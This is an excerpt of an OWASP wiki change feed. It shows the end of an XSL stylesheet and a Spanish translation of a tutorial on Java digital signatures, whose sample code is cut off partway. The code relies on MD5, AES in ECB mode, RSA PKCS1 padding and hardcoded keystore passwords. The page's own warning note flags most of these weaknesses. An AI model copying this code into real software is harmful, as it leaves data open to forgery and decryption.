								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;path&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;redirect&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
						&amp;lt;/tr&amp;gt;&lt;br /&gt;
						&lt;br /&gt;
						&amp;lt;xsl:for-each select=&amp;quot;global-forwards/forward&amp;quot;&amp;gt;&lt;br /&gt;
						  &amp;lt;tr&amp;gt;	&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@name&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;								&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;xsl:value-of select=&amp;quot;@path&amp;quot;/&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;								&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;xsl:value-of select=&amp;quot;@redirect&amp;quot;/&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;								&lt;br /&gt;
&lt;br /&gt;
						  &amp;lt;/tr&amp;gt;&lt;br /&gt;
						&amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
					&amp;lt;/tbody&amp;gt;&lt;br /&gt;
				&amp;lt;/table&amp;gt;&lt;br /&gt;
				&amp;lt;br/&amp;gt;&lt;br /&gt;
				&amp;lt;h2&amp;gt;action-mappings&amp;lt;/h2&amp;gt;&lt;br /&gt;
				&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
					&amp;lt;tbody&amp;gt;&lt;br /&gt;
						&amp;lt;tr bgcolor=&amp;quot;navy&amp;quot;&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;path&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;name&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;validate&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;parameter&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;type&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;scope&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;Forward&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
						&amp;lt;/tr&amp;gt;&lt;br /&gt;
						&lt;br /&gt;
						&amp;lt;xsl:for-each select=&amp;quot;action-mappings/action&amp;quot;&amp;gt;&lt;br /&gt;
						  &amp;lt;tr&amp;gt;	&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@path&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@name&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@validate&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@parameter&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@type&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@scope&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;ul&amp;gt;&amp;lt;xsl:for-each select=&amp;quot;forward&amp;quot;&amp;gt;&lt;br /&gt;
									&amp;lt;li&amp;gt;&lt;br /&gt;
										&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@name&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
										: &amp;lt;xsl:value-of select=&amp;quot;@path&amp;quot;/&amp;gt; : &amp;lt;xsl:value-of select=&amp;quot;@redirect&amp;quot;/&amp;gt; &lt;br /&gt;
									&amp;lt;/li&amp;gt;&lt;br /&gt;
								&amp;lt;/xsl:for-each&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;						&lt;br /&gt;
						  &amp;lt;/tr&amp;gt;&lt;br /&gt;
						&amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
					&amp;lt;/tbody&amp;gt;&lt;br /&gt;
				&amp;lt;/table&amp;gt;&lt;br /&gt;
			&amp;lt;/body&amp;gt;&lt;br /&gt;
		&amp;lt;/html&amp;gt;&lt;br /&gt;
	&amp;lt;/xsl:template&amp;gt;&lt;br /&gt;
&amp;lt;/xsl:stylesheet&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Traducci%C3%B3n_Espa%C3%B1ol&amp;diff=235301</id>
		<title>Traducción Español</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Traducci%C3%B3n_Espa%C3%B1ol&amp;diff=235301"/>
				<updated>2017-11-10T21:52:30Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Estado ==&lt;br /&gt;
&lt;br /&gt;
Fecha de lanzamiento 14/1/2007 &lt;br /&gt;
&lt;br /&gt;
[http://webhostinggeeks.com/science/digital-signature-ro Romanian Translation]&lt;br /&gt;
&lt;br /&gt;
== ADVERTENCIA  ==&lt;br /&gt;
&lt;br /&gt;
Recientemente Jim Manico trajo a mi atención esta página wiki, el mismo que me pidió que revisara con exactitud. Al hacerlo, me di cuenta de varios errores y áreas de weakness. Últimamente, tengo la intención de revisar esta página (espero que con la ayuda de uno de los propietarios originales), pero no dispongo de tiempo para hacer una revisión completa en este momento. Por lo tanto, resumiré la problemática que observe de esta página y dejándole a usted la decisión de utilizar o no, con estas advertencias.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
#En primer lugar, esta página no describe &amp;quot;firmas digitales&amp;quot;. Más bien, describe un concepto conocido como &amp;quot;sobres digitales&amp;quot;, que es un esquema utilizado con objetos como S / MIME. Las firmas digitales no sólo cifra el texto real del mensaje, sólo cifra el hash del texto del mensaje.&lt;br /&gt;
#Codificación UTF-8, debe utilizarse para realizar conversiones entre cadenas y matrices Java byte para asegurar la portabilidad adecuada a través de diferentes sistemas operativos.&lt;br /&gt;
#La cadena de certificados siempre deben ser validados. En este ejemplo, el certificado es auto firmado, por lo que este no es relevante y no será verdadero en el caso normal. Además, debe tenerse en cuenta que los certificados auto firmados, aunque aceptables para fines de demostración se considera una práctica dudosa para la producción, ya que abre la puerta a ataques de suplantación.&lt;br /&gt;
#NIST ahora recomienda el uso de 2048 tamaño de la clave de bits para claves RSA o DSA.&lt;br /&gt;
#Hay un consistente uso de algoritmos débiles. Aquí están algunos reemplazos sugeridos: &lt;br /&gt;
&lt;br /&gt;
*Utilice &amp;quot;RSA/ECB/OAEPWithSHA1AndMGF1Padding&amp;quot; en lugar de &amp;quot;RSA/ECB/PKCS1Padding&amp;quot;.&lt;br /&gt;
*Utilice SHA1 (o mejor SHA256, SHA1 pero por lo menos) en lugar de MD5 para la síntesis del mensaje.&lt;br /&gt;
*Utilice &amp;quot;SHA1withRSA&amp;quot; para el algoritmo de la firma en lugar de &amp;quot;MD5withRSA&amp;quot;.&lt;br /&gt;
*Al crear un sistema de cifrado simétrico para cifrar el mensaje de texto, utilice &amp;quot;AES/CBC/PKCS5Padding&amp;quot; y elija un IV aleatorio para cada mensaje de texto en lugar de utilizar simplemente &amp;quot;AES&amp;quot;, que termina con &amp;quot;AES/ECB/PKCS5Padding&amp;quot;. Modo ECB es extremadamente débil para un texto plano regular. (Está bien para el cifrado de bits aleatorios, sin embargo, está bien usar con RSA.) Sin embargo, el uso CBC y PKCS5Padding podría hacer vulnerable a &amp;quot;Padding Oracle&amp;quot; ataques, así que se recomienda tener cuidado. Puede utilizar Encryptor ESAPI 2.0 's para evitarlo. (Tenga en cuenta también, esta parte es del concepto de &amp;quot;sobre digital&amp;quot;. Si esta página fuera limitada verdaderamente por &amp;quot;firmas digitales&amp;quot;, no se aplicaría, ya que sería irrelevante.) &lt;br /&gt;
&lt;br /&gt;
Espero sacar tiempo lo más pronto, antes de limpiar esta página wiki. Mientras tanto, envíeme por correo electrónico sus preguntas.&lt;br /&gt;
&lt;br /&gt;
-kevin wall &lt;br /&gt;
&lt;br /&gt;
== Visión de conjunto ==&lt;br /&gt;
&lt;br /&gt;
Este artículo presenta un breve resumen de los conceptos involucrados con firmas digitales y proporciona ejemplos de código para la aplicación de firmas digitales en Java utilizando la Arquitectura de Java Cryptography.  &lt;br /&gt;
&lt;br /&gt;
=== ¿Qué es una firma digital?  ===&lt;br /&gt;
&lt;br /&gt;
Una firma digital es un concepto que ayuda a obtener el no repudio de origen (es decir, la Integridad del Origen) de datos. Al firmar digitalmente el documento, la persona que firma, asegura que él es el autor del documento o el mensaje firmado. &lt;br /&gt;
&lt;br /&gt;
=== Necesidad de Firma Digital  ===&lt;br /&gt;
&lt;br /&gt;
Durante la &amp;quot;E&amp;quot; revolución, fue una necesidad para la autenticación de críticas transacciones sobre todo en el mundo financiero. Si Alice se comprometió a transferir $ x para Bob, entonces tenía que haber una manera para que Bob se asegure de que:&lt;br /&gt;
&lt;br /&gt;
*Fue Alice quien realizó la transacción y no otra persona suplantando Alice (Autenticación).&lt;br /&gt;
*El monto acordado por Alice es $x (Integridad).&lt;br /&gt;
*Alicia no pudo discutir su declaración de transacción $x a Bob (No repudio de origen).&lt;br /&gt;
&lt;br /&gt;
Estas preocupaciones fueron tratadas con una solución conocida como firmas digitales. Más información de fondo sobre las firmas digitales se puede encontrar en [http://en.wikipedia.org/wiki/Digital_signature Wikipedia article] &lt;br /&gt;
&lt;br /&gt;
== Firmas digitales en Java utilizando JCA  ==&lt;br /&gt;
&lt;br /&gt;
La Arquitectura de Java Cryptography es un marco para el acceso y el desarrollo de la funcionalidad criptográfica para la plataforma Java. Un proveedor de JCA implementa las funcionalidades criptográficas como firmas digitales y compendios de mensajes. El proveedor predeterminado JCA en JDK 1.4.2 es SUN. &lt;br /&gt;
&lt;br /&gt;
=== Consideraciones de seguridad al implementar la firma digital  ===&lt;br /&gt;
&lt;br /&gt;
Dos consideraciones principales de seguridad que se deben tener en cuenta al aplicar firmas digitales son:&lt;br /&gt;
&lt;br /&gt;
#Firma el mensaje y, a continuación cifrar el mensaje firmado.&lt;br /&gt;
#Firma el hash del mensaje en lugar del mensaje completo. &lt;br /&gt;
&lt;br /&gt;
=== Consideraciones sobre el rendimiento al implementar la firma digital  ===&lt;br /&gt;
&lt;br /&gt;
Dado que los algoritmos de cifrado asimétricos, como RSA, DSA son computacionalmente más lento que los algoritmos de cifrado simétricos como AES, es una buena práctica, cifrar el mensaje real que se transmite utilizando un algoritmo de clave simétrica y luego cifrar la clave que se utiliza en el algoritmo de clave simétrica utilizando un algoritmo de clave asimétrica. Por ejemplo: si se quiere transmitir el mensaje &amp;quot;Hola Mundo de Firmas Digitales&amp;quot;, entonces primero se cifra este mensaje con una clave simétrica, por ejemplo una clave AES de 128 bits como x7oFaHSPnWxEMiZE/0qYrg y luego se cifra esta clave con un algoritmo de clave asimétrica como RSA. &lt;br /&gt;
&lt;br /&gt;
== Algoritmo para implementar la firma digital utilizando el algoritmo RSA  ==&lt;br /&gt;
&lt;br /&gt;
El proveedor de la implementación en Java RSA tiene una limitación en que el cifrado se puede realizar sólo en los datos de longitud &amp;lt;= 117 bytes. Si los datos son de longitud &amp;gt; 117 bytes, se lanzaría un IllegalBlockSizeException: Los datos no debe tener más de 117 bytes ahí la simetría tiene que ser cifrados y luego firmados. &lt;br /&gt;
&lt;br /&gt;
El algoritmo RSA PKCS # 1 con relleno sólo puede cifrar los datos de tamaño k - 11 [http://www.rsa.com/rsalabs/node.asp?id=2125 1], donde k cuya longitud es de un octeto del módulo RSA y 11 es la cantidad de bytes utilizados por el relleno PCKS # 1 v1.5. Por lo tanto, si usamos una clave RSA de tamaño de 1024 bits, podríamos cifrar sólo 128 - 11 =&amp;gt; 117 bytes de datos. Hay dos opciones disponibles para cifrar los datos de tamaño de byte más grande.&lt;br /&gt;
&lt;br /&gt;
#Podríamos usar una clave RSA de longitud&amp;gt; 1024. Por ejemplo, si usamos 2048 bits, entonces podríamos cifrar 256-11 =&amp;gt; 245 bytes de datos. La desventaja de este enfoque es que no sería capaz de codificar los datos de tamaño&amp;gt; x bytes (en el ejemplo anterior x es 245).&lt;br /&gt;
#Analizar los datos de entrada en trozos de bytes de tamaño &amp;lt;117 y aplicar la encriptación en cada trozo. El código de ejemplo de este enfoque se puede encontrar aquí [http://www.aviransplace.com/2004/10/12/using-rsa-encryption-with-java/3/ here].&lt;br /&gt;
&lt;br /&gt;
Ambos enfoques podrían afectar al rendimiento ya que la clave RSA de mayor tamaño o un enfoque de &amp;quot;divide y vencerás&amp;quot; de bytes de entrada son computacionalmente costosa. &lt;br /&gt;
&lt;br /&gt;
=== Algoritmo  ===&lt;br /&gt;
&lt;br /&gt;
Con las anteriores consideraciones, el algoritmo siguiente puede ser usado para la implementación de la criptografía de clave pública en Java. &lt;br /&gt;
&lt;br /&gt;
#Cifrar el mensaje utilizando una clave simétrica&lt;br /&gt;
#Concatenar la clave simétrica + hash de clave simétrica + hash del mensaje.&lt;br /&gt;
#Cifrar la cadena concatenada con la clave pública de los receptores.&lt;br /&gt;
#Firmar los datos a transmitir (clave simétrica cifrada + Hash de la tecla + Hash del mensaje).&lt;br /&gt;
#Validar la firma. &lt;br /&gt;
#Descifrar el mensaje con la clave privada del receptor para obtener la clave simétrica. &lt;br /&gt;
#Validar la integridad de la clave utilizando el hash de la clave.  &lt;br /&gt;
#Descifrar el mensaje real usando la clave simétrica que se ha descifrado, se analiza y se comprueba la integridad. &lt;br /&gt;
#Calcular MessageDigest de datos.&lt;br /&gt;
#Validar si la síntesis del mensaje del texto descifrado coincide con el resumen de mensaje del mensaje original. &lt;br /&gt;
&lt;br /&gt;
=== Comandos para la generación de claves  ===&lt;br /&gt;
&lt;br /&gt;
prompt# keytool -genkey -alias testsender -keystore testkeystore.ks -keyalg RSA Enter keystore password: testpwd What is your first and last name? &lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  Alice Sender&lt;br /&gt;
&lt;br /&gt;
¿Cuál es su nombre y apellido?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  IT&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de la unidad organizativa? &lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  ABC Inc&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de su organización?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  LA&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de su ciudad o localidad?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  CA&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de su estado o provincia?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  US&lt;br /&gt;
&lt;br /&gt;
Es CN = Alice Sender, OU = IT, O = ABC Inc, L = LA, ST = CA, C = EE.UU. correcto?  &lt;br /&gt;
&lt;br /&gt;
 [no]:  y&lt;br /&gt;
&lt;br /&gt;
Introduzca la contraseña clave para &amp;amp;lt;testsender&amp;amp;gt; &lt;br /&gt;
&lt;br /&gt;
 (RETURN if same as keystore password):  send123&lt;br /&gt;
&lt;br /&gt;
prompt # keytool -genkey -alias testrecv -keystore testkeystore.ks -keyalg RSA Introduzca la contraseña del almacén de claves: testpwd &lt;br /&gt;
¿Cuál es su nombre y apellido?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  Bob Receiver&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de la unidad organizativa?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  HR&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de su organización? &lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  ABC Inc&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de su ciudad o localidad?&lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  SFO&lt;br /&gt;
&lt;br /&gt;
¿Cuál es el nombre de su estado o provincia? &lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  CA&lt;br /&gt;
&lt;br /&gt;
¿Qué es el código de país de dos letras para esta unidad? &lt;br /&gt;
&lt;br /&gt;
 [Unknown]:  US&lt;br /&gt;
&lt;br /&gt;
Es CN = Bob receptor, OU = HR, O = ABC Inc, L = SFO, ST = CA, C = EE.UU. correcto? &lt;br /&gt;
&lt;br /&gt;
 [no]:  y&lt;br /&gt;
&lt;br /&gt;
Introduzca la contraseña clave para &amp;amp;lt;testrecv&amp;amp;gt; &lt;br /&gt;
&lt;br /&gt;
 (RETURN if same as keystore password):  recv123&lt;br /&gt;
&lt;br /&gt;
=== Code Sample  ===&lt;br /&gt;
&lt;br /&gt;
==== PublicKeyCryptography.java  ====&lt;br /&gt;
&amp;lt;pre&amp;gt;package org.owasp.crypto;&lt;br /&gt;
&lt;br /&gt;
import java.security.*;&lt;br /&gt;
import java.security.cert.*;&lt;br /&gt;
import javax.crypto.*;&lt;br /&gt;
import sun.misc.BASE64Encoder;&lt;br /&gt;
import sun.misc.BASE64Decoder;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * &lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * &lt;br /&gt;
 * 1. Cifrar los datos utilizando una clave simétrica &lt;br /&gt;
 * 2. Cifrar la clave simétrica con la clave pública Receptores &lt;br /&gt;
 * 3. Crear un resumen del mensaje de los datos a transmitir &lt;br /&gt;
 * 4. Firma el mensaje a transmitir &lt;br /&gt;
 * 5. Envíe los datos a través de un canal no seguro &lt;br /&gt;
 * 6. Validar la firma&lt;br /&gt;
 * 7. Descifrar el mensaje usando la llave privada Pets para obtener la clave simétrica &lt;br /&gt;
 * 8. Descifrar los datos usando la clave simétrica &lt;br /&gt;
 * 9. Calcule MessageDigest de datos + mensaje firmado&lt;br /&gt;
 * 10.Valide si la síntesis del mensaje del texto descifrado coincide con el resumen de mensaje del mensaje original &lt;br /&gt;
 * &lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
public class PublicKeyCryptography {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * @param args&lt;br /&gt;
	 */&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		&lt;br /&gt;
	SymmetricEncrypt encryptUtil = new SymmetricEncrypt();&lt;br /&gt;
	String strDataToEncrypt = &amp;quot;Hello World&amp;quot;;&lt;br /&gt;
	byte[] byteDataToTransmit = strDataToEncrypt.getBytes();&lt;br /&gt;
&lt;br /&gt;
	// Generación de un SecretKey para el cifrado simétrico&lt;br /&gt;
	SecretKey senderSecretKey = SymmetricEncrypt.getSecret();&lt;br /&gt;
	&lt;br /&gt;
	//1. Cifrar los datos utilizando una clave simétrica&lt;br /&gt;
	byte[] byteCipherText = encryptUtil.encryptData(byteDataToTransmit,senderSecretKey,&amp;quot;AES&amp;quot;);&lt;br /&gt;
	String strCipherText = new BASE64Encoder().encode(byteCipherText);&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	//2. Cifrar la clave simétrica con la clave pública &lt;br /&gt;
	try{&lt;br /&gt;
		// 2.1 Especifique el almacén de claves que se haya importado el certificado Receptores&lt;br /&gt;
	KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());&lt;br /&gt;
	char [] password = &amp;quot;testpwd&amp;quot;.toCharArray();&lt;br /&gt;
	java.io.FileInputStream fis = new java.io.FileInputStream(&amp;quot;/home/Joebi/workspace/OWASP_Crypto/org/owasp/crypto/testkeystore.ks&amp;quot;);&lt;br /&gt;
    ks.load(fis, password);&lt;br /&gt;
    fis.close();&lt;br /&gt;
    &lt;br /&gt;
	// 2.2 Creación de un certificado X509 del receptor&lt;br /&gt;
    X509Certificate recvcert&amp;amp;nbsp;;&lt;br /&gt;
    MessageDigest md = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
    recvcert = (X509Certificate)ks.getCertificate(&amp;quot;testrecv&amp;quot;);&lt;br /&gt;
    // 2.3 Obtención de la llave pública de los certificados&lt;br /&gt;
    PublicKey pubKeyReceiver = recvcert.getPublicKey();&lt;br /&gt;
    &lt;br /&gt;
    // 2.4 Cifrado de la SecretKey con la clave pública Receptores&lt;br /&gt;
    byte[] byteEncryptWithPublicKey = encryptUtil.encryptData(senderSecretKey.getEncoded(),pubKeyReceiver,&amp;quot;RSA/ECB/PKCS1Padding&amp;quot;);&lt;br /&gt;
    String strSenbyteEncryptWithPublicKey = new BASE64Encoder().encode(byteEncryptWithPublicKey);&lt;br /&gt;
        &lt;br /&gt;
    // 3. Crear un resumen del mensaje de los datos a transmitir&lt;br /&gt;
    md.update(byteDataToTransmit);&lt;br /&gt;
	byte byteMDofDataToTransmit[] = md.digest();&lt;br /&gt;
	&lt;br /&gt;
	String strMDofDataToTransmit = new String();&lt;br /&gt;
	for (int i = 0; i &amp;amp;lt; byteMDofDataToTransmit.length; i++){&lt;br /&gt;
		strMDofDataToTransmit = strMDofDataToTransmit + Integer.toHexString((int)byteMDofDataToTransmit[i] &amp;amp;amp; 0xFF)&amp;amp;nbsp;;&lt;br /&gt;
             }&lt;br /&gt;
	&lt;br /&gt;
    // 3.1 Mensaje que se Firmado = clave secreta cifrada + MAC de los datos a transmitir&lt;br /&gt;
	String strMsgToSign = strSenbyteEncryptWithPublicKey + &amp;quot;|&amp;quot; + strMDofDataToTransmit;&lt;br /&gt;
    &lt;br /&gt;
    // 4. Firma el mensaje&lt;br /&gt;
    // 4.1 Obtener la clave privada del remitente desde el almacén de claves, proporcionando la contraseña establecida para la llave privada mientras se crea las llaves usados.&lt;br /&gt;
	char[] keypassword = &amp;quot;send123&amp;quot;.toCharArray();&lt;br /&gt;
    Key myKey =  ks.getKey(&amp;quot;testsender&amp;quot;, keypassword);&lt;br /&gt;
    PrivateKey myPrivateKey = (PrivateKey)myKey;&lt;br /&gt;
    &lt;br /&gt;
    // 4.2 Firmar el mensaje&lt;br /&gt;
    Signature mySign = Signature.getInstance(&amp;quot;MD5withRSA&amp;quot;);&lt;br /&gt;
    mySign.initSign(myPrivateKey);&lt;br /&gt;
    mySign.update(strMsgToSign.getBytes());&lt;br /&gt;
    byte[] byteSignedData = mySign.sign();&lt;br /&gt;
        &lt;br /&gt;
	// 5. Los valores byteSignedData (la firma) y strMsgToSign (los datos que se firmó) se pueden enviar a través del receptor&lt;br /&gt;
	&lt;br /&gt;
	// 6. Validar la firma&lt;br /&gt;
    // 6.1 Extraer la clave pública de su certificado de remitentes&lt;br /&gt;
	X509Certificate sendercert&amp;amp;nbsp;;&lt;br /&gt;
	sendercert = (X509Certificate)ks.getCertificate(&amp;quot;testsender&amp;quot;);&lt;br /&gt;
    PublicKey pubKeySender = sendercert.getPublicKey();&lt;br /&gt;
    // 6.2 Verificar la Firma&lt;br /&gt;
    Signature myVerifySign = Signature.getInstance(&amp;quot;MD5withRSA&amp;quot;);&lt;br /&gt;
    myVerifySign.initVerify(pubKeySender);&lt;br /&gt;
    myVerifySign.update(strMsgToSign.getBytes());&lt;br /&gt;
    &lt;br /&gt;
    boolean verifySign = myVerifySign.verify(byteSignedData);&lt;br /&gt;
    if (verifySign == false)&lt;br /&gt;
    {&lt;br /&gt;
    	System.out.println(&amp;quot; Error in validating Signature &amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    else&lt;br /&gt;
    	System.out.println(&amp;quot; Successfully validated Signature &amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    // 7. Descifrar el mensaje usando la llave privada Pets para obtener la clave simétrica&lt;br /&gt;
    char[] recvpassword = &amp;quot;recv123&amp;quot;.toCharArray();&lt;br /&gt;
    Key recvKey =  ks.getKey(&amp;quot;testrecv&amp;quot;, recvpassword);&lt;br /&gt;
    PrivateKey recvPrivateKey = (PrivateKey)recvKey;&lt;br /&gt;
    &lt;br /&gt;
    // Analizar el MessageDigest y el valor cifrado&lt;br /&gt;
    String strRecvSignedData = new String (byteSignedData);&lt;br /&gt;
    String[] strRecvSignedDataArray = new String [10];&lt;br /&gt;
    strRecvSignedDataArray = strMsgToSign.split(&amp;quot;|&amp;quot;);&lt;br /&gt;
    int intindexofsep = strMsgToSign.indexOf(&amp;quot;|&amp;quot;);&lt;br /&gt;
    String strEncryptWithPublicKey = strMsgToSign.substring(0,intindexofsep);&lt;br /&gt;
    String strHashOfData = strMsgToSign.substring(intindexofsep+1);&lt;br /&gt;
&lt;br /&gt;
    // Descifrado para obtener la clave simétrica&lt;br /&gt;
    byte[] bytestrEncryptWithPublicKey = new BASE64Decoder().decodeBuffer(strEncryptWithPublicKey);&lt;br /&gt;
    byte[] byteDecryptWithPrivateKey = encryptUtil.decryptData(byteEncryptWithPublicKey,recvPrivateKey,&amp;quot;RSA/ECB/PKCS1Padding&amp;quot;);&lt;br /&gt;
    &lt;br /&gt;
    // 8. Descifrar los datos usando la clave simétrica&lt;br /&gt;
    javax.crypto.spec.SecretKeySpec secretKeySpecDecrypted = new javax.crypto.spec.SecretKeySpec(byteDecryptWithPrivateKey,&amp;quot;AES&amp;quot;);&lt;br /&gt;
    byte[] byteDecryptText = encryptUtil.decryptData(byteCipherText,secretKeySpecDecrypted,&amp;quot;AES&amp;quot;);&lt;br /&gt;
    String strDecryptedText = new String(byteDecryptText);&lt;br /&gt;
    System.out.println(&amp;quot; Decrypted data is &amp;quot; +strDecryptedText);&lt;br /&gt;
    &lt;br /&gt;
    // 9. Calcule MessageDigest de datos + mensaje firmado&lt;br /&gt;
    MessageDigest recvmd = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
    recvmd.update(byteDecryptText);&lt;br /&gt;
	byte byteHashOfRecvSignedData[] = recvmd.digest();&lt;br /&gt;
&lt;br /&gt;
	String strHashOfRecvSignedData = new String();&lt;br /&gt;
		&lt;br /&gt;
	for (int i = 0; i &amp;amp;lt; byteHashOfRecvSignedData.length; i++){&lt;br /&gt;
		strHashOfRecvSignedData = strHashOfRecvSignedData + Integer.toHexString((int)byteHashOfRecvSignedData[i] &amp;amp;amp; 0xFF)&amp;amp;nbsp;;&lt;br /&gt;
